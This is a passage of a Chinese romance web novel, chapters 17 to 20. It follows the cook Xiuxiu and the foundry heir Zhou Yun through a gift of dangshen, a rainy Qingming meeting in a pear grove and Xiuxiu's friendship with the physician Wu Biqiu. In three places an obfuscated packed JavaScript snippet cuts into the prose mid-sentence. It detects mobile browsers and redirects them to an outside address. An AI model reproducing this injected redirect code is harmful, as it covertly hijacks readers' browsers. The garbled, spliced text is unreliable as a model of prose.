周氏冶铸坊规模大，上下资历等级明确，坊里最老的师傅是周允的爷爷，也就是叶丛的师父，如今老人家早已离世。周老爷子有三个徒弟，大徒弟叶丛，二徒弟谢烛，三徒弟便是周四海。 师兄弟三个人自小便在一块学艺长大，故而都留在了老爷子创办的冶铸坊里，现今坊里的大师傅是叶丛，二师父则是谢烛，周四海是老板，硬要分说，也算得上三师傅。 冶铸坊向来一视同仁，大师傅和二师傅是一样的待遇地位，只是周四海每每遇事不决，便惯来先找二人商量一番，故而，师兄弟三个多年来感情融洽，兄友弟恭，从未有过内讧不合，周家锅铺也蒸蒸日上。 谢家做香楮奠礼出身，因此周允每年烧的纸人也都是谢老爷子做的。谢家虽清苦，家风却正派不苟，后来谢烛进了冶铸坊，家里日子渐渐好起来。谢烛之妻正是周允之母叶青岚的手帕交，谢烛膝下育有一女，年十七，随了母姓，名为吴碧秋，平日在吴家的生药铺子里帮忙。 周家、叶家、谢家，师徒姻亲，来来往往，愈发亲近。 如今朱批圣旨来报，指明要谢烛做匠头，他的八字最为适宜，而二师傅绝非不堪托付之人，故而众人自是也无异议。 周允无意让任何人冒险，但他吃了瘪，只盼工事无往不利，也只能如此。 贤达六年，二月廿四，流年流日天地合，冶铸坊拉起红绸，点了炮仗，尊天地，事鬼神，全体工匠敬香，侍卫环着冶铸坊昼夜不停地巡逻，冶铸坊即刻围禁，成了工事重地。就是叶丛这样的老师傅也不禁犯嘀咕，从业二十余年，他还从未见过这般阵仗。 匠头只能留一个，故而周允连同叶丛均被迫离开冶铸坊。 被周允一块带走的，还有他那一屋子铁锅。 今年的厨艺大赛，对于锅铺而言，免不了又是一顿忙活，往届比赛用的炊具多是从周家冶铸坊统一拿货，因着这个由头，参加比赛的厨子们也不差一个铁锅钱，总要在赛前先来周家买口锅练手，自然而然，锅铺生意就多起来。 从冶铸坊出来，周允便携一车炊具先去了铺子。 兄妹二人多日未见，叶文珠挤出两个酒窝迎上来，问：“表哥近日可好？” 掌柜的盯着卸货，周允往后院厅堂走去，随意应着叶文珠的问候。 叶文珠紧跟其后，又问：“姨丈的鼻鼽好些了？” 他依旧是淡淡一句“嗯”。 叶文珠自说自话：“听闻钊姐姐前些时日病了，不如明日表哥与我一同前去探望？” 周允走到厅堂，待坐正身子，才不徐不疾道：“与我何干？” 叶文珠登时嗔恼：“表哥！”她快步走到周允面前，颇为不满地撅起嘴来，“她是咱们的朋友！做人岂能这般淡漠？你总是如此！” 见他一动未动，依旧不开口，叶文珠又气冲冲回到椅子上坐下，闷闷地絮叨：“你不去，我自己去，我到要看看，日后除了李聿谁还肯理你！” 话音刚落，叶文珠知道自己说错了话，苦哈哈把头慢慢垂下，双唇紧闭。 周允没有情绪地朝屋外看去，眼底深沉莫测，视线落到马厩边，小厮正扛着铁锅往库房里送，一切有条不紊，唯独一处异样，与往日不大相同。 在木头柱子上挂着的那顶纱帽呢？ 那帽子陈旧，帽檐宽大，垂着一层白纱，似乎是哪个小厮从外头拾的，无人认领，这才挂在后院，风吹日晒，沾上不少灰尘。 想必那日他兀自给人戴上这样一顶没人要的纱帽，任谁也要厌烦。可十多年来，他早就受尽人世间的厌与烦，佣人、同窗、大街上随随便便的人都想离他更远。 比起这些，她的厌烦，实在算不上什么，毕竟他本来也是该受到厌烦的。 可那顶纱帽呢？在她手里还是被丢掉了？ 长久的静默后，叶文珠小心翼翼叫他：“表哥...” 周允眼眉一跳，而后看过去：“索性准你几日假，你爹也闲下来了，回家看看也好。” 叶文珠闻言松了一口气，脸颊上两个酒窝若隐若现，嘴角却仍压着，她小声问：“真的么？” 他耷着眼皮眨了眨眼。 叶文珠抿着嘴笑，乖乖说道：“明儿我先去给钊姐姐挑个礼。” 周允起身往外走几步，回转道来：“香敏和花敏想必有些共性，府上还有些药材，现也无人可用，明日我差人送来，你去送了也正合适。” 叶文珠一笑：“多谢表哥，还是表哥想得周全！” 周允不动声色，点了点头，又往外走去。 翌日，秀秀临出门前接到来信，得知今日叶文珠要来拜访，便在家候着。 见秀秀脸色大好，不见病气，又是一副厨娘打扮，叶文珠料到秀秀是要去金鼎轩，故而并未久待，只送了礼说了几句话，便欲离去。 秀秀笑道：“今早听闻你要过来，我便早早去小厨房吊上了汤，正想让你给我尝尝好坏呢。” 叶文珠一听，把身子坐正，笑靥如花：“钊姐姐这般信任我，这汤我是喝定了！” 秀秀眉眼含笑：“‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633000|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钊姐姐’听着真是生分，妹妹不如随着寅生唤我？” 叶文珠上前挽上秀秀手臂，甜甜一句：“秀秀姐姐。”又把木盒从桌上拿起，“这是表哥...是表哥同我一块挑的呢。只是他一男子，上门探望多少不便，便托我把这份心意送到！姐姐莫怪，他其实也挂念得很！” 秀秀听闻“表哥”一词，不知为何心里虚晃，可不管这番话里几分真几分假，在文珠面前，她面上仍是展露笑意，又闻叶文珠催她：“快打开看看。” 秀秀打开狭长木盒，掀开裹着的红绸，垂眼看去。 她知道这东西，这是平城的地道药材，叫党参，健脾益肺，虽不比人参，却也价值不菲。如今木匣里装的是真人参，党参里最为名贵的一种，以前在胡家，她去给胡仲赉抓药时，在药铺子听人提起过。 那个时候哪能想到，有朝一日，她也能收到旁人送的党参呢。 秀秀忙道：“这药材很是名贵。” 叶文珠再三强调：“你收着便是，对香敏症大有益处！” 秀秀心中甚是温暖，却又止不住地想，文珠的这份人情，或者捎带着周允，她不知如何才能还了。 这时，叶文珠小声趴到她耳畔，替那寡言少语、冷酷无情、不明事理、叫人操心的表哥说好话：“姐姐切莫有负担，你能收下，表哥与我不知多开心呢。” 见秀秀皓洁脸庞顿时酡红，叶文珠狐疑问道：“秀秀姐姐，你是又要犯病了么？脸色怎么这般红？” 秀秀摇摇头，手背抚上脸，心想幸好翠鸾红莺不在，不然二人今晚又不知该怎么笑她。正思忖着，却无意瞥见木盒一角，她蓦地惊慌失措，匆匆阖上了盖子，收了起来。 梳妆台上的镜子里，粉颈低垂，她拉开小匣，把党参盒子压在同样沉甸甸的《千字文》上，一抬头，看见镜中娇艳如花的脸，心跳砰砰，她暂时无心去想这是为何，只背对着叶文珠说道：“妹妹费心了！你稍作休息，吃块点心，我去厨房瞧瞧。” 叶文珠当即起身，自然地挽上秀秀胳膊：“我与姐姐一起。” 用过饭后，秀秀从衣橱里取出一顶纱帽递给叶文珠，解释道：“那日取锅路上，我戴了回来，早就洗净，恰逢着过年，尚未去锅铺归还，一时忘了，竟拖到现在。今日你过来，反倒提醒了我，劳烦妹妹捎回锅铺，替我跑一趟了。” 叶文珠接过来，瞧着这顶旧旧的纱帽，心里古怪，却也并未多想，只答应着，拿着帽子，回了锅铺。 送走了文珠，秀秀静悄悄打开木匣，眉蹙春山，指甲在匣上扣了又扣，发出干燥的“嚓吱”声，细微、磨人、刺耳，在这空荡荡的房里，如木头的呻吟一般。 她细细回想过往与周允为数不多的接触，一时间又讶异又惧怕，疑惑，沉闷，却也隐隐明白这意味着什么。 很可惜，她并不打算承接这份莫名其妙的...情。 指尖掀开红绸，木匣角落里安静躺着除了党参外的另一个物件。 一根红绳串起来的铜板，不多不少，正好三个。 18. 第 18 章 杏花开了又败，桃花粒粒相映，捻指过了数日，梨花已压枝头。清明时节，细雨蒙蒙，水雾重重，终日的潮湿叫人心焦。 这日，雨总算停，秀秀找到李三一告了假，挎着篮子往郊边走去。 她无处可去，能想到的地方只有初到皇京那日的溪边，荒无人烟，最适合烧纸钱。 娘已经走了数年，这些年她每当受了委屈，总想起来娘说过的话、待她的好，记忆里的脸庞模糊不清，可关于娘的回忆竟越来越深，怎么也忘不了。 秀秀娘的忌日在农历七月，过去三年，她总在清明和七月上旬往家里送些奠礼，却不知爹是否有心思烧。今时不同往日，她总算有机会亲自烧给她。 说不上哀与伤，只是到了空无一人的溪边，她不由觉出一丝凄凉。 溪边石头仍发潮，她铺了一层干草打底，燃起纸钱和零星的纸金条。 暖烘烘火光驱散四周潮意，她用长树枝戳着层层叠叠的黄纸，张张碾散开，最后把树枝一扔，自己在附近的石头上抱膝坐下，看黑色碎屑纷飞，眼睛一望无际，不知望到何处。 平日厨房里机灵好学的丫头，亦或是李府明理近人的姑娘，都被拦在在这目光之外，跟此时单薄的身影相距甚远，或者说，没有干系。 她对所有的颠沛流离束手无策，老天给什么，她就接着，一步步走到今日，秀秀也不甚明白，命和运是如何把她推至此处的，但她一直深深念着娘的那句话：只要还有口气儿，就有成千上万的活法，死了就什么都没了。 从平城到皇京的路上，免不了遇上几个狂风骤雨天，白日里跟着商队避雨，尚且能撑住，夜里的雨才难熬，那时候，她就是靠娘的这些话吊着。 一路跌宕，如今有了新的娘，有了新的弟弟，有了新的家，还有了师父、师兄和朋友，甚至学了手艺，又识了字，更得好好活着才对。她坚信，日子是越过越好的。 如果娘看见她今日这般模样，大抵要欣慰地笑了吧。 天地寂寥，秀秀把头埋进膝里，心里空荡宁静，异常踏实，未来的日子正在她紧闭的双眼中徐徐展开。 殊不知远处，一男子正迎着漫天黑纸灰，从满树雪白梨花里，缓缓走来。 周允不喜雨天，最不喜清明的雨。 多年前的清明，雨没日没夜地下，夜里他给叶青岚守灵，地上的软垫都是潮的，哩哩啦啦的雨声好似哭丧，他跪在棺前冷得浑身发颤，也不知道是不是因为湿冷才抖。 彼时周四海拍着他的肩，说以后这个家再不会住进旁的女人，他们爷俩相依为命，也很好。 可十二岁那年，他分明偷听到，有人想让周四海续弦，周四海把话说得漂亮，没明着答应，可也没明着拒绝。 他说，允儿还小，怕他吃味儿。 从那时，周允再也不去书院，而是跑进冶坊住下。 他给了周四海机会，可他的继母却迟迟未来。后来他听文珠说，周府空得叫人害怕，他翻来覆去几个晚上，才跟师傅说冶坊地偏无聊，他想搬回家。 周四海笑着不戳穿，只说，息心园一直都有人打扫着，回来就能住。 周允心底如有坠石，觉得心烦意乱，他不愿承认，这份烦闷里更多的是忧心和惧怕。 忧心早亡，忧心父子间的亲密最后变成白发人送黑发人的利剑；惧怕早亡，惧怕自己如同皮影，被未知的命运操控——尽管已经被操控。 少年人忡忡，索性抛开一切，不在乎亲情，无所谓事理，在别人走远前，他先一步离开；在他去地狱前，先一步斩断所有人间情分。 做到这些并不难，维持了这些年，他已习惯，就连自己也相信了，他周允就是性情至冷至薄、没心又没肺的人，他注定要过孤单黑白的人生，他是“不然”，是滚滚红尘里的行尸走肉，他活着，并不是为了自己。 搬回息心园的这些年，清明总要下雨，他对万事万物都不曾上心，却独独在这时，偏要来梨树林里截几根花枝带回去，插进龛堂的花瓶。 今日雨停，他策马扬鞭，一路畅快淋漓，又到梨树林。可刚下马，便瞧见天上飞舞的黑灰，他皱着眉穿进林子。 往日这里空无一人，冷清至极，如今被不速之客打搅，私人空间被侵占，他带着不悦，一步一步走来，看见溪边石头上的瘦弱身影。 又是她。 比起第一次见面时，她似乎长胖了，也长高了，可周允却总觉得，她还是很瘦，如今整个人蜷在石头上，更瘦了。 周允就这么静静伫立在她身后，定定端详，约莫一炷香的时间，她仍抱膝不语。 莫不是哭了？还是睡着了？ 周允终于开口：“林边烧纸，你胆子倒是不小。” 秀秀闻声抬起头，眯着眼循声看过去，眼睛尚未适应天光，只见他垂眼看来。 清隽面庞逆着光，他面上不带任何表情，冷静得如同他身上的月牙色长袍，浑身的潮湿水汽氤氲到她身上，他像另一个世界的人。 秀秀看得愣怔，这样的无双公子，怎会心悦她？她足够自作多情。 想到这儿，她心里反倒轻松起来，情不自禁扬起嘴角，眉眼轻弯，似是在笑话之前的滑稽想法。还好，还好。 方才的愣怔转移到另一张人脸上，周允居高临下地问：“林子就在边上，着火怎么办？” 秀秀坐直，说：“溪里有水。” 周允一时无语，站定片刻，突然不知该干什么，只想多跟她说说话。他又问：“病好了么？” 秀秀又蹲下来清扫石头上的灰烬，轻声说：“那党参我不能要，改日让寅生还给你。” 周允不明不白，他平淡地问：“为何？” 秀秀沾了一手灰，头也不抬，说道：“太贵重了，我不能收。” 周允盯着黑漆漆的石头瞧了一会儿，她的手背被衬得雪白刺眼。他声音沉静，不容拒绝：“是文珠送你的，与我没有干系。” 秀秀看过来，只觉得此人莫名其妙，她没再理会，到溪水里洗了洗手，便挎上篮子，就要走，又被他一把拦住。 周允把人留下，却仍不知该说些什么，二人一前一后僵持片刻，秀秀想起来，说道：“我的帕子，你也该还我。” 周允大言不惭：“我买的。” 秀秀语气平平：“那我把钱一块退给你。” 不知怎地，周允听了这话，顿时对她的态度充满怨气，他像是赌气般开口：“帕子早就被我扔了。” 言尽于此，她和赖皮鬼没什么好说的，一条帕子，送出去便送出去，三文钱到手，她不亏。秀秀无意逗留，正欲抬腿，天公却不作美，一阵绵绵春雨从天而降。 她举起篮子挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633001|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨，朝周允乜一眼，便兀自往树下跑去。 周允顿了顿，三两步追上。 一时间，一高一低的身影共在一棵树下避雨，雨落如花，秀秀只盼雨停，暗搓搓往外挪着脚步，两人隔着两尺远，空篮子在两尺之间晃来晃去，最后被旁边的大掌一把抓住。 周允说：“借你篮子一用。”说罢他从秀秀手里夺过篮子，走进细雨里。 秀秀转身望去，密林里漾着湿气，雾蒙蒙的，只见他抻着手臂，在梨树上折花枝，折了几枝，他扭头看过来。 秀秀忙不迭移开视线，不再看他，却总觉得他笑了，随后，不远处传来清爽又朦胧的声音：“林子是我的，折了也没关系。” 她猛然想起，刚到皇京时，偷吃了这里的梨，脸上乍白乍红，但见他偏偏不再折枝，朝她走来，他的嗓音再次响起：“是我娘带我栽的，秋天会结出梨子来，每年都吃不完，要浪费许多。” 秀秀咬紧牙关，仍不说话，她不知周允为何跟她说这些，莫非他知道了她偷吃梨子？不可能，除非...那天泅水的男子是他。可那时他们根本不认识。 他为何要告与她这些无关紧要的事？ 随他怎么想。 她垂眼一顿，一篮子梨花，沾着雨水，花瓣颤颤巍巍，好似担不起雨珠的重量，纯洁无瑕，素雅清新，却又带上几分脆弱，格外惹人怜惜。 忽然，头顶传来轻飘飘的触感。 不像是雨。 她抬头，猛不丁触上他的视线。周允指尖捏着薄薄一片黑灰色，伸到她眼前：“烟灰。” 秀秀轻叹一声，见雨势小了起来，她重新仰头看去，神色严肃道：“你不准动手动脚！” 周允不说话，他盯着她的眼角一滴小水珠儿看，看它凝在粉肤上晶莹剔透，看它倒映出一树梨花，看它倔强地不肯滑下...... 秀秀霎时别开泛红的脸，生了几分嗔怒，又问他：“你听到没有？！” 终于，随着她的动作，小水珠儿游曳至腮边耳畔。 周允从喉咙里浅浅发出一声“嗯”，转瞬又见她落荒而逃，心里不禁觉得好笑，难以自控地想逗逗她，他朝那背影喊：“你去哪儿？” 如同除夕那日在周府的花园里，秀秀头也不回，她背对着周允喊道：“与你无关！” 话说急了，带出点平城口音。自己也觉得羞赧，她又加快了步伐，隐没进薄雾淡雨之中。 出了林子，复行数十步，身后传来缓和平稳的马蹄声，秀秀微微偏头，余光里闪现出周允的衣袍，她回过头来，往城中走去。 渐渐地，雨停了，二人不远不近地走着，谁也没再说话，他不问她为何来烧纸钱，她也不问他为何来折梨花；他不问她为何要躲，她也不问他为何要追。两个人心里都揣着星星点点的疑问，一前一后，缓缓而行。 不多时，秀秀察觉到身后的长腿越来越近，她快走几步，几乎小跑，身后的马蹄声也跟着紧促起来。她登时停下，身后的声音也停下。 她扭头瞪一眼，再次向前走去。那阵叫人心烦意乱的脚步声渐行渐远，她只觉雨后空气清新。 周允迈着慢悠悠的步子，只当闲散遛马，他偏头看一眼马背上的梨花，抬头看一眼前方的背影，低头看一眼她的脚印再重重踏上。不知不觉中，清明的雨似乎并不那么恼人了。 19. 第 19 章 几日功夫，叶青岚在生前为周允备下的纸人，全都受了潮。终于等到天晴，来兴差人把纸人都从周府库房里搬出来晾晒。 往日周允是绝不踏足库房一步的，他不愿见到这些纸人，四时八节避不开，可每年清明后也总免不了要见见面。 这日，他正往大门走去，见下人把东西搬出来，视线不自觉落到一沓沓纸上，四种纸人身着鲜衣，面容清峻锋利，乍一看，与周允的模样有七分相似，英俊不凡，却又因那一双眼而异常可怖。 细细的眼皮如涟漪，这般好看的桃花眼，放在人世间，定能勾走几个多情种的心魄，可瞳却是空的，眼睛独独一个形状，里头没有眼珠。 纸人不能点睛，这是老辈子传下来的规矩，据说一旦点睛，纸人就活了，便不会安稳做替班。 周允幼时初见纸人，当夜便噩梦连连，大病一场，这些年，他有意避开那双空洞的眼，倒也平安无事地过来了。今日却不知为何，眼睛不受控地去寻那双眼，目光扫过，他顿时又被骇得汗毛四竖。 年已二十又一，竟被几张纸唬成这样，说出来真是招笑。 直到出门上了马，他方才稳下心神，这些日子任凭心意肆无忌惮地横冲直撞，竟险些忘了，自己是克六亲、刑妻儿的孤煞童子命。 他面沉如水，行至吴家药铺附近，念曹操，曹操便到，又看见她。 只不过秀秀似乎并未注意马上之人，她脚步轻快进了药铺。 早在清明前，她已经开始学着吊汤，四勺对此颇有见解，从奶汤、白汤到素高汤，知无不言，又讲起食性间的相生相克与食材的疗效，秀秀灵光一现：药材放进汤里，岂不是一石二鸟？ 四勺：“药食同源，老祖宗早就这么做了。” 秀秀底气不足地问：“若是在大赛上煲汤，是不是叫人笑话？” 四勺笑笑：“师妹莫有压力，厨艺大赛本就是百花齐放，大家都是厨子，不兴文人相轻的那一套，做得好吃，比什么都强。能把汤炖好，可不容易，更何况，咱们为了长见识的，管他人笑不笑话作甚？” 秀秀霎时多了些自信，挺直腰板，问四勺的意见：“如今以我的厨艺，做那些山珍海味定是痴心妄想，不如我拿药膳高汤参赛，师兄，你看如何？” 四勺重重点头，下巴被挤出三层肉来，他提醒秀秀：“四月就要比赛，该着手备着了。” 于是这些时日，秀秀总往生药铺子跑。最近的，也是最有名气的，当属吴家广济堂。广济堂与别的铺子并无二致，要说不同，大抵是吴家的郎中，有足足十个之多。 前几日，秀秀来买些药材煲汤，前脚进了门，后脚便注意到店内一角，一女子正给病人把脉。 她还从未见过女大夫。 秀秀拿出一张纸，交给店里伙计，随后低声问道：“那姑娘，也是店里的郎中？” 伙计正比着纸上写的方子抓药，闻声头也不回，笑道：“你是刚到皇京吧？” 秀秀正疑惑，伙计接着说道：“久居皇京城内的，无人不知我家小姐。” 秀秀问：“为何？” 伙计回过头来，一脸骄傲：“我家小姐可是皇京有名的‘大夫西施’，不仅医术高明，模样更是赛貂蝉、胜西施。” 秀秀又往那处看去，只见这美人大夫正提笔写字，一举一动，轻巧大方，她身着一袭素雅碧色衣衫，神态专注，容貌尤为秀丽。 她问伙计：“你家小姐叫什么？” 伙计答：“吴碧秋，我们都唤她碧秋小姐。” 吴碧秋似是听到了声音，抬头望过来，朝秀秀微微颔首一笑，秀秀一时无措，手捏上辫子尖，回以一笑。见病人起身离开，她过去搭起了话。 碧秋，碧秋，当真人如其名，说起话来温声细语，让人如在碧空之下沐浴秋风，秀秀多嘴问几句病理知识，吴碧秋不厌其烦，微笑着一一解释。 秀秀对她一见如故，大概是因为二人同岁，又或者是活了十七年，没有谁对她这般温柔过，她也从未见过这般脱俗的美人。 吴碧秋生性文静，游船赏花，逛铺子买脂粉，统统与她不相干，她平日在药铺出诊，极少与旁的小姐们打交道，自然而然便生疏了，若说闺中密友，思来想去不过叶文珠一人，可文珠年纪稍轻，天真无邪，她一直把文珠当作小妹妹。 如今吴碧秋瞧着秀秀极有眼缘，特别是那一双明亮的眼睛，纯朴美丽，笑起来像月牙池塘，小鱼儿在里头往来翕忽，就好像催着人去相信她、去喜欢她。 故而，两人投机至极，此后秀秀又来吴家药铺一回，便已经与这位貌美的碧秋大夫十分亲好了。后来说起闲话，秀秀方才知晓周家与叶、吴、谢三家的关系。 倏忽数日，秀秀再次前来，这回不是为了买药，而是为了庆哥儿。 昨日庆哥儿不知为何，吃饭时总要喵喵叫，走起路来也不稳当，秀秀瞧着反常，担心庆哥儿莫不是得了什么病，今日一早便带着来了药铺。 吴碧秋把庆哥儿抱进怀里，轻轻顺毛，笑着说：“自我十岁出诊，还是头一回见主子带猫来看病的呢。” 秀秀脸上一红：“碧秋，你医术高明，人身上的疑难杂症你都能治好，想必给一只小猫看病，你也不再话下。” 吴碧秋在庆哥儿身上摸索了个遍，凭着给人看病的经验，问了秀秀好些问题，最后慎重地开口：“小家伙儿，不像是病了。”她揉揉小猫下巴，又说，“看着像是...撒娇。” 秀秀被这话惊掉下巴，撒娇？猫不是最不亲人吗？ 吴碧秋抱着庆哥儿放回秀秀怀里，说道：“它喜欢你呀，想跟你玩儿。” 秀秀了然，手上用力，把庆哥儿举起来，声音清脆娇嫩：“你这呆猫！” 吴碧秋笑道：“它可不呆，我瞧着精得很！” 二人正与庆哥儿玩耍，外头一阵闹哄哄的声响纷杳而至。 往外一看，药铺墙边骤然围了一团人，叽叽喳喳，好不安生。顺着众人视线望去，官兵在墙上张贴告示。 原来是官府明令，今年八月，皇家远洋船队出使大离国，往来贸易，以扬国威，故征集远洋船员。皇京城中凡身康体健的，凡尚未嫁娶的，男子十八至二十一，女子十五至十八，生辰八字，祖籍姓氏，手艺本领，毋论阶层职业，通通上报。 姊妹二人对视一眼，又一齐回了铺子。迎面过来一高大男子，秀秀估摸着此人同周允一般高，只是这男子体貌却比周允更为魁梧，若说周允神情总是冷淡，这人，便是严肃，叫人望而生畏。 “小姐。”那人嗓音低沉。 秀秀闻声回过神来，恨恨地在心里撇嘴：嗨呀！与周允作的哪门子比较！ 吴碧秋眉眼温和，柔声问道：“做什么去？” 那男子毕恭毕敬，如实回答：“回小姐，码头来了一批药材，铺子人手不够，我去搭把手。” 听了这话，吴碧秋顿时轻颦，却并未多言，只淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633002|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡说道：“去吧。”随后，她便将秀秀引至药铺书房。 店铺共三进，一进问诊拿药，二进做药房，三进供小厮守店住宿和郎中们歇息。 碧秋平日住在吴家，离铺子不远，故而并未在药铺安排房间，只留一间书房，内置一张美人靠，中午歇晌用。大多时候她用不上，铺子经年人来人往，少有今日这般清闲。 二人坐在靠上，谈起方才的告示，又说了些体己话。 官府发号施令，一旦归来，赏金不说，噱头足够响。大牟历来轻商，商贾人士定有急头白脸想上船的，自然，也定会有不愿去海上飘摇冒险的。 皇京男女成千上万，选中与否不全是运气，上下交会，环节众多，层层盘剥，有人的地方便有可乘之机，免不了贿赂通融、顶替作假一番，个中弯弯绕绕，不知又要多少人从中赚得盆丰钵满。 吴碧秋想上船，她常年在药铺出诊，手头攒下些银子，若是花钱，未必不可行。只可惜吴家长辈素来强势，父亲谢烛如今又在冶坊做匠头，天高皇帝远。 自己何去何从，吴碧秋难以逆料，浮沉随浪，她心有不甘，不禁悲从中来。 上船与否，秀秀并不强求，也强求不来，她无厚银上供，更不愿让钊虹为难。不上船，那便安安稳稳在后厨学艺，上了船，也是要伺候人的，不过，去见识一番也好。兵来将挡、水来土掩。 她不知吴碧秋为何想上船，但吴碧秋不开口，秀秀也绝不会问，空泛泛地宽慰起来，不过是来回几句毫无用处的话。她索性闭口不谈，与碧秋一起逗起庆哥儿。 不多时，已是晌午，吴碧秋留人用饭，秀秀心里还挂念着药膳一事，便辞了她的好意，两人一同往铺子走去，约着改日一同出游。 正巧那男子回来，正从侧门走来，三人又是一个照面。 那人躬身一句“小姐”。 吴碧秋不应，掏出一块帕子递了过去。 秀秀猛然顿住，抬眼在二人身上流转，这才瞧见男子额尖已是汗涔涔，他垂着眼，凝立不动，不说话，也不接帕子。 秀秀心道，这仆从也忒大胆了。 这时，吴碧秋淡淡一句：“还要我亲自来么？” 秀秀又是一怔，朝吴碧秋看去，只见她神色如常，接过她的视线，浅笑安然，优雅沉敛。 秀秀一双眼睛瞪得溜圆，当即又朝那男子看去，他下颌紧绷，接过帕子，忙道：“小的不敢。” 气氛旋即诡谲离奇，正当秀秀踌躇不决之时，庆哥儿蹭上她的鞋，她连忙抱起猫，率先开口：“碧秋你且留步，不必再送了，我取上药便走。” 见吴碧秋颔首，秀秀独自往铺子走去，身后传来浅浅交谈声。 吴碧秋问那人：“今日是谁指使你去的？” 那男子答：“无人指使。” 吴碧秋：“是你自己要去帮忙的？” 男子道：“是，请小姐责罚。” 吴碧秋依旧轻声细语，语气里听不出一丝怨气，她说：“我罚你作甚？横竖不过一年，我便要嫁人，维持了这些年的主仆情分，难不成因这小事给坏了？” 秀秀踏进铺子，取了药，又抱着庆哥儿往李府走，临近李府，胳膊已然乏力，她把猫放下歇息片刻，忽而身边一阵风疾驰而过，她抬眼望去。 呵，是抢她帕子那个姓周的。 秀秀心中蓦地一亮，刹那间全都明白了，碧秋不想上船，碧秋的仆从...不对，不对。 20. 第 20 章 暮春午后，饭时已过，金鼎轩后厨声响稍息，角落的灶台四周弥漫着醇厚药香，混杂着老火慢炖的骨汤气息。 秀秀挽着袖子，正对一杆小铜秤皱眉。秤盘里堆着淡黄色茯苓，她拈起一片放在鼻尖轻嗅，药香扑鼻，又俯身察看汤色，总觉得还缺些什么。 院试在即，过后两日便是厨艺大赛，四月将尽，正值春夏之交，湿气渐盛，她选的这道四神汤，虽适应节气，又能健脾渗湿，可实在中规中矩。 “若是再添些干货...”她喃喃自语，指尖无意识敲着紫砂药罐，窗外飘来卖花女的叫卖声，湿润清晰：“现摘的芍药、牡丹——” 正思忖间，后厨门帘被人掀起。 跑堂小哥一脸带笑：“姑娘，周家锅铺的叶小姐托人带话来了！” 秀秀放下袖子，跟着出去，只见一个锅铺伙计递过一张花笺。展开来看，她对着清一色的簪花小楷犯了难。 有好些字她都不认得。 锅铺伙计及时开口：“文珠小姐说了，明日休沐，特请您去城南翡翠湖游船。小姐得了一筐莲蓬，邀您前去品尝新鲜莲子。若是李公子得空，明日一齐去便是。” 当夜，秀秀把花笺拿出来给李聿看，他细细扫过上面的字，笑道：“好姐姐，这花笺就留给我罢。” 秀秀促狭心起，问：“咦，李先生既已准你考试前松散松散，你还留这信笺作何？” 李聿挠了挠头皮：“我...我是看文珠的字实在是好。” 秀秀又问：“只是为了文珠的字？” 李聿忙不迭说：“那是自然！” 秀秀点头称是：“难怪，我险些就要误会，还当你爱屋及乌。” 李聿霎时羞红了脸，“爱屋及乌”这词还是他教的。他支支吾吾扯开话头：“姐姐不若先替我想想带什么礼去才好...” 见他羞涩地垂下了头，秀秀暗自笑笑，接上他的话说：“你想送给文珠的礼，怕是早就叠成小山了，还需要我这姐姐来出主意？” 被人猜中心思，李聿憋得一句话也说不出，最后只憋出一句： “秀秀姐姐！” 大清早，秀秀正与翠鸾、红莺正在锦心园门口剪几枝芍药，便听见李聿一声招呼。 少年郎神采奕奕看来，面露不解，问：“这是做什么？” 只见丫鬟一手拢着数枝粉白芍药，一手拿着一根锦带，将芍药茎秆一齐缠起来。 秀秀解释道：“芍药开得正艳，我折几枝给文珠带去赏玩，图个好看。” 说罢，秀秀又从脚边拎起一小食盒，食盒里是她一早起来做的槐花糕。 昨晚，钊虹派人给园子送来好些莲子和鲜藕，都用荷叶好生包着。秀秀整日在金鼎轩用饭，钊虹念她吃不上，便交给小厨房，好让她随吃随做。 她多嘴问了句：“干娘是怎么得了这新鲜玩意儿？” 小丫鬟回道：“冶坊周公子派人送来的，说是船队从南边运来的新货。” 此话不问倒好，一问便又是半夜的辗转。夜里她躺在床上，明明闭着眼，可一人却在眼前挥之不去，瞬息未察，一慢一快的梆锣声再次响起，紧随其后，是更夫悠长的吆喝：“三更天，平安无事——” 秀秀翻来覆去，本想着明日煲一锅汤带去给众人尝尝，现下有鲜莲子，莲子百合瘦肉汤最合适不过，可再三思虑，最后还是换成了槐花糕。 思绪纷飞，待她入睡之时，已不知天地何时。 今日马车内，她精神萎靡不济，姐弟俩说了几句院试之事，便不再做声了。李聿从一轻巧精致的薄木匣中拿出一书，兀自翻看起来。 厚重的青呢帘挡已被撤下，窗外微风把车帘吹起，车身轻晃，秀秀身侧的芍药跟着轻晃，人与花俱是昏昏欲睡。 